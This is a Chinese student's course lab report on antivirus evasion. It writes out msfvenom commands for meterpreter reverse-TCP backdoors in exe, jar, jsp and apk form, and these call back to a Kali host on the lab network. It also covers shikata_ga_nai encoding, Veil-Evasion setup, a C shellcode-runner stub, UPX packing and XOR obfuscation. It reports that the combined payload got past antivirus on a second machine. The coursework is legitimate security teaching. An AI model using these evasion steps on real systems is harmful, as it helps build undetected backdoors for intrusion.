2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp3 免杀原理与实践

2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp3 免杀原理与实践

一、实验任务

1.方法:
①正确使用msf编译器。
②msfvenom生成如jar之类的其他文件。
③veil。
④加壳工具。
⑤使用C+shellcode编程。
⑥使用其他课程未介绍方法。
2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
4.基础问题回答。

二、实验步骤

【任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧】

正确使用msf编码器

1.通过共享文件夹将实验二中最后生成的20175202_backdoor.exe后门程序传到主机中(要预先关闭杀毒软件);

2.对20175202_backdoor.exe后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

我们发现没有经过编码的原始后门程序,很容易就被杀软检测到了。下面我们使用msf编码器对改后门程序进行编码;
3.我们通过msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.40.129 LPORT=5202 -f exe > exp3_encoded10.exe命令生成十次编码的后门程序;参数-I用于设置迭代次数;LHOST后面是Kali中的ip地址,生成结果如下;

4.对exp3_encoded10.exe后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

我们发现,多次编码对于免杀效果不大。

msfvenom生成如jar之类的其他文件

1.在Kali中生成jar文件,使用的命令为msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 x> 20175202java.jar,结果如下;

2.对20175202java.jar后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

3.在Kali中生成jsp文件,使用的命令为msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 x> 20175202jsp.jsp,结果如下;

4.对20175202jsp.jsp后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

5.在Kali中生成apk文件,使用的命令为msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 x> 20175202android.apk,结果如下;

6.对20175202android.apk后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

使用veil-evasion生成后门程序及检测

1.Kali中没有veil,所以要事先安装,首先输入以下命令;

mkdir -p ~/.cache/wine
cd ~/.cache/wine 
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi

2.使用sudo apt-get install veil-evasion命令安装veil,中途会遇到很多很多问题。。,出现以下效果代表安装成功;

3.使用veil命令进入veil中,然后输入use evasion,进入veil-evasion

4.输入命令use c/meterpreter/rev_tcp.py进入配置界面;

5.输入set LHOST 192.168.40.129设置反弹连接IP,输入 set LPORT 5202设置端口,然后输入options,如图;

6.输入generate生成文件,接着输入生成的playload的名称veil_c_5202,保存路径为: /var/lib/veil/output/source/veil_c_5202.exe,如图;

7.在文件夹中然后选择其他位置,然后选择计算机,然后根据上一步得到的路劲一次打开文件夹,可以找到生成的veil_c_5202.exe,如图;

8.对veil_c_5202.exe后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

使用C+shellcode编程

1.输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 -f c命令来生成shellcode;

2.命令行中通过vim gxyshell.c创建.c文件,将生产成的buf [ ] 赋值到代码中;
unsigned char buf[] = (上图中生成的shellcode)

int main()
{
int (func)() = (int()())buf;
func();
}
3.通过i686-w64-mingw32-g++ gxyshell.c -o gxyshell.exe命令,将.c文件转化为可执行文件;


4.对gxyshell.exe后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

使用加壳工具

1.使用命令upx gxyshell.exe -o gxyshell_upxed.exe,将上一步中生成的gxyshell.exe加压缩壳得到gxyshell_upxed.exe;

2.对gxyshell_upxed.exe后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

【任务二:使用其他课程未介绍的方法】

1.我们对shellcode进行免杀变形,步骤如下;
(1)我们首先使用msfvenom生成shellcode;
(2)将shellcode依次与'0'进行异或;
(3)我们把异或后的shellcode加入生成的程序,该程序再将此shellcode与"0"依次异或一次,把它还原为原来的shellcode,因为没有了Shellcode的特征码,所以不易被杀软检测到;
(4)最后生成该后门程序。
2.对qtffgxy.exe后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

【任务三:通过组合应用各种技术实现恶意代码免杀】

1.方式为多次编码的shellcode+异或"0"的变形+免杀申请动态内存代码+压缩壳;
2.生成的是5202gxyzh.exe,目标是自己的主机,杀毒软件是电脑管家;
3.测试可用性,结果如下图,扫描出的3个危险报警是实验二和这次试验之前的一些后门程序,本次综合各种技术生成的程序,成功逃过了电脑管家;

【任务四:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本】

1.我使用在同一路由器下的另一台电脑,操作系统是win10,杀毒软件是电脑管家;
2.我们打开电脑管家,然后开始运行后门程序5202gxyzh.exe,发现可以正常运行,杀毒软件并未检测到,并且可以正常回连,结果如图;

三、实验过程中遇到的问题

1.问题:下载veil时,下载一会就会出现远程挂断,如下;

解决:参考学长学姐博客,换了一种下载方式,折腾了很久,终于下载成功了;

2.问题:veil下载成功后,输入veil,仍然提示错误,无法运行````veil```,如下;

解决:参考CSDN中,看到有人说,执行命令/usr/share/veil/config/setup.sh --force --silent可自动修护一些错误,使用命令后,确实解决了问题,如下;

3.问题:在实验中,复制shellcode的内容后,将.c文件转成可执行程序时,提示以下错误,如图;

解决:发现将shellcode的内容复制后,没有在结尾加分号,不符合代码标准,同时没有下载编码软件,加了分号,并使用命令i686-w64-mingw32-g++ wpyshell.c -o wpyshell.exe下载编码软件后,成功转化了,如图;

四、问题的回答

1.杀软是如何检测出恶意代码的?
回答:①根据特征来检测:恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
②根据行为来检测:如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码,有时候不是恶意代码的程序也会把查杀,因为这些程序做了一些计算机认为不安全的事情,比较常见的就是各自破解补丁或者游戏外挂等。
2.免杀是做什么?
回答:免杀就是通过某些手段对软件进行处理或变化,使其特征不在杀软的木马库里,让它不被杀毒软件检测出来。
3.免杀的基本方法有哪些?
回答:①改变特征码
加壳:压缩壳 加密壳(就是给含有恶意代码的程序加一个外包装,让杀软不知道里面装的是什么);用encode进行编码;基于payload重新编译生成可执行文件;用其他语言进行重写再编译;veil-evasion。
②改变行为
尽量使用反弹式连接;使用隧道技术;加密通讯数据;加入混淆作用的正常功能代码。
③非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件。
4.开启杀软能绝对防止电脑中恶意代码吗?
回答:通过实验我们发现,恶意代码会通过各种方式隐藏自己,修饰自己,逃过一些杀毒软件的“法眼”,因此开启杀软并不能绝对防止电脑中恶意代码。

五、实验心得与体会

这次实验让我感觉非常刺激,在之前的实验中,我们在实验中需要全程关闭杀软,才能正常进行。而在本次实验中,我们通过加壳、重编译、反弹式连接等各种方法,一次次逃过杀软的“法眼”。在实验过程的推进中,随着使用的技术越来越多,并相互结合,每次在VirsusTotal中检测时,发现能够发现的杀软数量越来越低,心中的满足感就越来越强,有一种“小黑客”的感觉。这次实验的整体过程不太顺利,veil的下载花了一天多的时间,尝试了各种方法,才终于下载成功,下载成功后还不能正常使用,又需要查阅资料,来一点点修复,这次实验对我的耐心考验很大,实验过程中确实暴躁过,但最终一步步完成了实验,心中更多的是成就感。通过这次实验,我发现了自己平时很信任的杀毒软件其实并没有那么可靠,现在的恶意代码有很多种隐藏方式,他们很容易逃过杀软的法眼,因此以后不能只依靠杀软,自己的安全意识也还要进一步增强,这是这次实验给我的一个很大的启示。

posted on 2020-03-28 22:39  20175202葛旭阳  阅读(190)  评论(0编辑  收藏  举报

导航